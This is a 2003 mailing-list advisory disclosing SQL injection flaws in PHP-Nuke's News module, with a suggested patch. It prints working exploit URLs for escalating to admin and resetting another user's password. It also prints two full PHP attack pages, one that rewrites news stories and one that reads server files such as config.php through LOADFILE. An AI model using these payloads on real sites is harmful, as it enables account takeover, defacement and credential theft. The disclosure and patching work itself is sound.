[VulnWatch] PHP-Nuke, 'News' module : Big Security Holes

From: Frog Man (leseulfrogat_private)
Date: Sat Mar 22 2003 - 06:13:04 PST

  • Next message: Daniel Ahlberg: "GLSA: mutt (200303-19)"

    Informations :
    °°°°°°°°°°°°°°
    Versions : 5.6, 6.0, 6.5 RC1, 6.5 RC2, 6.5 RC3, 6.5
    Module : News
    Website : http://www.phpnuke.org
    Problem : SQL Injection
    Post Scriptum : No War For Oil !!
    
    
    
    PHP Code/Location :
    °°°°°°°°°°°°°°°°°°°
    /modules/News/article.php :
    
    ------------------------------------------------------------------------
    
    if (stristr($REQUEST_URI,"mainfile")) {
        Header("Location: modules.php?name=$module_name&file=article&sid=$sid");
    } elseif (!isset($sid) && !isset($tid)) {
        Header("Location: index.php");
    }
    
    
    if ($save AND is_user($user)) {
        cookiedecode($user);
        $db->sql_query("UPDATE ".$user_prefix."_users SET umode='$mode', 
    uorder='$order', thold='$thold' where uid='$cookie[0]'");
        getusrinfo($user);
        $info = 
    base64_encode("$userinfo[user_id]:$userinfo[username]:$userinfo[user_password]:$userinfo[storynum]:$userinfo[umode]:$userinfo[uorder]:$userinfo[thold]:$userinfo[noscore]");
        setcookie("user","$info",time()+$cookieusrtime);
    }
    ------------------------------------------------------------------------
    
    
    
    /modules/News/index.php :
    
    ------------------------------------------------------------------------
    [...]
    function rate_article($sid, $score) {
        global $prefix, $dbi, $ratecookie, $sitename, $r_options;
        if ($score) {
    	if ($score > 5) { $score = 5; }
    	if ($score < 1) { $score = 1; }
    	if (isset($ratecookie)) {
    	    $rcookie = base64_decode($ratecookie);
    	    $r_cookie = explode(":", $rcookie);
    	}
    	for ($i=0; $i < sizeof($r_cookie); $i++) {
    	    if ($r_cookie[$i] == $sid) {
    		$a = 1;
    	    }
    	}
    	if ($a == 1) {
    	    Header("Location: 
    modules.php?name=News&op=rate_complete&sid=$sid&rated=1");
    	} else {
    	    $result = sql_query("update ".$prefix."_stories set score=score+$score, 
    ratings=ratings+1 where sid='$sid'", $dbi);
    	    $info = base64_encode("$rcookie$sid:");
    	    setcookie("ratecookie","$info",time()+3600);
    	    Header("Location: 
    modules.php?name=News&op=rate_complete&sid=$sid$r_options");
    	}
        } else {
    	include("header.php");
    	title("$sitename: "._ARTICLERATING."");
    	OpenTable();
    	echo "<center>"._DIDNTRATE."<br><br>"
    	    .""._GOBACK."</center>";
    	CloseTable();
    	include("footer.php");
        }
    }
    
    [...]
    
    switch ($op) {
    
    [...]
        case "rate_article":
        rate_article($sid, $score);
        break;
    [...]
    
    }
    
    ?>
    ------------------------------------------------------------------------
    
    
    
    mainfile.php :
    ------------------------------------------------------------------
    [...]
    foreach ($_GET as $secvalue) {
        if ((eregi("<[^>]*script*\"?[^>]*>", $secvalue)) ||
    	(eregi("<[^>]*object*\"?[^>]*>", $secvalue)) ||
    	(eregi("\.\.", $secvalue)) ||
    	(eregi("<[^>]*iframe*\"?[^>]*>", $secvalue)) ||
    	(eregi("<[^>]*applet*\"?[^>]*>", $secvalue)) ||
    	(eregi("<[^>]*meta*\"?[^>]*>", $secvalue)) ||
    	(eregi("<[^>]*style*\"?[^>]*>", $secvalue)) ||
    	(eregi("<[^>]*form*\"?[^>]*>", $secvalue)) ||
    	(eregi("<[^>]*img*\"?[^>]*>", $secvalue)) ||
    	(eregi("\([^>]*\"?[^)]*\)", $secvalue)) ||
    	(eregi("\"", $secvalue))) {
    	Header("Location: index.php");
    	die();
        }
    }
    
    foreach ($_POST as $secvalue) {
        if (eregi("<[^>]*script*\"?[^>]*>", $secvalue)) {
    	Header("Location: index.php");
    	die();
        }
    }
    [...]
    ------------------------------------------------------------------
    
    
    
    Exploits :
    °°°°°°°°°°
    if magic_quotes_gpc=OFF :
    
    - Change our level (into admin) :
    http://[target]/modules.php?name=News&file=article&sid=1&save=1&mode=',user_level='4
    or
    http://[target]/modules.php?name=News&file=article&sid=1&save=1&order=',user_level='4
    or
    http://[target]/modules.php?name=News&file=article&sid=1&save=1&thold=',user_level='4
    
    
    - Change the Bob's password :
    http://[target]/modules.php?name=News&file=article&sid=1&save=1&order=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*
    
    
    if magic_quotes_gpc=OFF AND ON !!
    
    Change the title, article,... of a news :
    
    ------------------------------------------------------------------------
    <html>
    <head>
    <title>PHP-Nuke Change News</title>
    </head>
    <body>
    <?
    function ascii_phpnuke_exploit($str) {
    for ($i=0;$i < strlen($str);$i++) {
    if ($i == strlen($str)-1){
    $ascii_char.=ord(substr($str,$i));
    }else{
    $ascii_char.=ord(substr($str,$i)).',';
    }
    }
    return $ascii_char;
    }
    
    if (isset($submit)) {
    
    $score="1";
    if (isset($title)) {
    $score.=", title=char(".ascii_phpnuke_exploit($title).")";
    }
    if (strlen($hometext)>1) {
    $score.=", hometext=char(".ascii_phpnuke_exploit($hometext).")";
    }
    if (strlen($bodytext)>1){
    $score.=", bodytext=char(".ascii_phpnuke_exploit($bodytext).")";
    }
    ?>
    
    <b>Target URL : </b><? echo $target; ?><br><br>
    <b>SID : </b><? echo $sid; ?><br><br>
    <b>New Title : </b><? echo $title; ?><br><br>
    <b>New Story Text : </b><? echo $hometext; ?><br><br>
    <b>New Extended Text : </b><? echo $bodytext; ?><br><br>
    
    
    <form method="POST" action="<? echo $target; ?>/modules.php">
    <input type="hidden" name="name" value="News">
    <input type="hidden" name="op" value="rate_article">
    <input type="hidden" name="sid" value="<? echo $sid; ?>">
    <input type="hidden" name="score" value="<? echo $score; ?>">
    <input type="submit" name="submit" value="Change the News">
    </form>
    <input type="submit" value="Back" onclick="history.go(-1)">
    
    <?
    }else{
    ?>
    
    <form method="GET" action="<? echo $PHP_SELF; ?>">
    Target URL : <input type="text" name="target"><br>
    News SID : <input type="text" name="sid"><br><br>
    <b>New Title :</b><br> <input type="text" name="title"><br>
    <br><br><b>New Story Text :</b><br><textarea cols="50" rows="12" 
    name="hometext"></textarea>
    <br><br><br><b>New Extended Text : </b><br><textarea cols="50" rows="12" 
    name="bodytext"></textarea><br><br>
    <input type="submit" name="submit" value="Preview">
    </form>
    
    <?
    }
    ?>
    
    </body>
    </html>
    ------------------------------------------------------------------------
    
    
    
    Save a file from the HD, like 'config.php' into a news :
    
    ------------------------------------------------------------------------
    <html>
    <head>
    <title>PHP-Nuke View File</title>
    </head>
    <body>
    <?
    function ascii_phpnuke_exploit($str) {
    for ($i=0;$i < strlen($str);$i++) {
    if ($i == strlen($str)-1){
    $ascii_char.=ord(substr($str,$i));
    }else{
    $ascii_char.=ord(substr($str,$i)).',';
    }
    }
    return $ascii_char;
    }
    
    if (isset($submit)) {
    
    $score="1";
    
    if (isset($hometext)) {
    $score.=", hometext=LOADFILE(char(".ascii_phpnuke_exploit($hometext)."))";
    }
    if (isset($bodytext)){
    $score.=", bodytext=LOADFILE(char(".ascii_phpnuke_exploit($bodytext)."))";
    }
    ?>
    
    <b>Target URL : </b><? echo $target; ?><br><br>
    <b>SID : </b><? echo $sid; ?><br><br>
    <b>File In Story Text : </b><? echo $hometext; ?><br><br>
    <b>File In Extended Text : </b><? echo $bodytext; ?><br><br>
    
    
    <form method="POST" action="<? echo $target; ?>/modules.php">
    <input type="hidden" name="name" value="News">
    <input type="hidden" name="op" value="rate_article">
    <input type="hidden" name="sid" value="<? echo $sid; ?>">
    <input type="hidden" name="score" value="<? echo $score; ?>">
    <input type="submit" name="submit" value="Change the News">
    </form>
    <input type="submit" value="Back" onclick="history.go(-1)">
    
    <?
    }else{
    ?>
    
    <form method="GET" action="<? echo $PHP_SELF; ?>">
    Target URL : <input type="text" name="target"><br>
    News SID : <input type="text" name="sid"><br><br>
    <br><br><b>File In Story Text (Full Path) :</b><br><input name="hometext">
    <br><br><br><b>File In Extended Text (Full Path) : </b><br><input 
    name="bodytext"><br><br>
    <input type="submit" name="submit" value="Preview">
    </form>
    
    <?
    }
    ?>
    
    </body>
    </html>
    ------------------------------------------------------------------------
    
    The complete file can be found, for example at :
    http://[target]/modules/News/comments.php
    
    
    
    Solution :
    °°°°°°°°°°
    Into mainfile.php, replace :
    
    ------------------------------------------------------------------
    [...]
    foreach ($_GET as $secvalue) {
        if ((eregi("<[^>]*script*\"?[^>]*>", $secvalue)) ||
    	(eregi("<[^>]*object*\"?[^>]*>", $secvalue)) ||
    	(eregi("\.\.", $secvalue)) ||
    	(eregi("<[^>]*iframe*\"?[^>]*>", $secvalue)) ||
    	(eregi("<[^>]*applet*\"?[^>]*>", $secvalue)) ||
    	(eregi("<[^>]*meta*\"?[^>]*>", $secvalue)) ||
    	(eregi("<[^>]*style*\"?[^>]*>", $secvalue)) ||
    	(eregi("<[^>]*form*\"?[^>]*>", $secvalue)) ||
    	(eregi("<[^>]*img*\"?[^>]*>", $secvalue)) ||
    	(eregi("\([^>]*\"?[^)]*\)", $secvalue)) ||
    	(eregi("\"", $secvalue))) {
    	Header("Location: index.php");
    	die();
        }
    }
    
    foreach ($_POST as $secvalue) {
        if (eregi("<[^>]*script*\"?[^>]*>", $secvalue)) {
    	Header("Location: index.php");
    	die();
        }
    }
    [...]
    ------------------------------------------------------------------
    
    
    by :
    
    
    --------------------------------------------------------------------------------------------------------------
    foreach ($_REQUEST as $key=>$value) {
    
        if (get_magic_quotes_gpc()==0) {
            $value = addslashes($value); // This will reproduce the option 
    magic_quotes_gpc=1
        }
    
        $value = 
    str_replace(array(')','=','<','>','|'),array('&#41;','&#61;','&#60;','&#62;','&#124;'),$value);
    
        ${$key} = $value;
        $_REQUEST[$key] = $value;
        if (isset($_POST[$key])) { $_POST[$key] = $value; }
        if (isset($_COOKIE[$key])) { $_COOKIE[$key] = $value; }
        if (isset($_FILE[$key])) { $_FILE[$key] = $value; }
        if (isset($_GET[$key])) { $_GET[$key] = $value; }
        if (isset($HTTP_POST_VARS[$key])) { $HTTP_POST_VARS[$key] = $value; }
        if (isset($HTTP_COOKIE_VARS[$key])) { $HTTP_COOKIE_VARS[$key] = $value; 
    }
        if (isset($HTTP_FILE_VARS[$key])) { $HTTP_FILE_VARS[$key] = $value; }
        if (isset($HTTP_GET_VARS[$key])) { $HTTP_GET_VARS[$key] = $value; }
    }
    --------------------------------------------------------------------------------------------------------------
    
    
    A patch can be found on http://www.phpsecure.info
    
    
    More Details in French :
    °°°°°°°°°°°°°°°°°°°°°°°°
    http://www.frog-man.org/tutos/PHP-Nuke-News.txt
    
    
    
    Credits :
    °°°°°°°°°
    frog-m@n
    http://www.phpsecure.info
    
    
    
    _________________________________________________________________
    MSN Messenger : discutez en direct avec vos amis !  
    http://messenger.fr.msn.be
    



    This archive was generated by hypermail 2b30 : Sat Mar 22 2003 - 10:04:53 PST